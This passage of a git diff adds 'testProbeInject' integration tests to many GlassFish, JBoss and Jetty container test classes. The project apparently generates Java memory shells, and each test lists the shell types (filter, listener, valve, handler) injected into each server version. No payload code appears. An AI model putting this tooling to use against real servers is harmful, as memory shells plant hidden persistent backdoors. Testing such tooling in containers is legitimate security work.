Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java index 4090ace7..4b259829 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,14 @@ public class Jboss423ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java index 746de6a7..f040012d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -76,4 +78,14 @@ public class Jboss510ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java index 5d980576..180f87a6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -72,4 +74,14 @@ public class Jboss610ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java index 5b6cee8b..c221d170 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,14 @@ public class Jboss711ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_7); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java index 2674f798..b3275bda 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbosseap; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,14 @@ public class JbossEap6ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java index 85efdb2e..9d98c5df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jbosseap; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -72,4 +74,13 @@ public class JbossEap7ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index 2a190c89..c1eb9af4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,15 @@ public class Jetty10ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index 1435dc28..6bd22172 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -76,4 +78,15 @@ public class Jetty11ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index e2f231ce..7f4aa3f4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,14 @@ public class Jetty12ee10ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java index 62849b4e..f096dbf3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -76,4 +78,14 @@ public class Jetty12ee11ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 7b8cdbb1..3d326d08 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,14 @@ public class Jetty12ee8ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index f490d536..e2a84af3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,14 @@ public class Jetty12ee9ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index b8a5665f..0e89d877 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,14 @@ public class Jetty61ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "6", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index 405e66fc..409c6f0e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,14 @@ public class Jetty75ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index 34cb1683..ffe45914 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -72,4 +74,14 @@ public class Jetty76ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index a7142727..6a60ebab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -73,4 +75,14 @@ public class Jetty81ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index 5ceb9474..12c16a7c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,15 @@ public class Jetty92ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index 63005109..670aead6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,15 @@ public class Jetty93ContainerTest { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index d17308f9..e26391c8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ 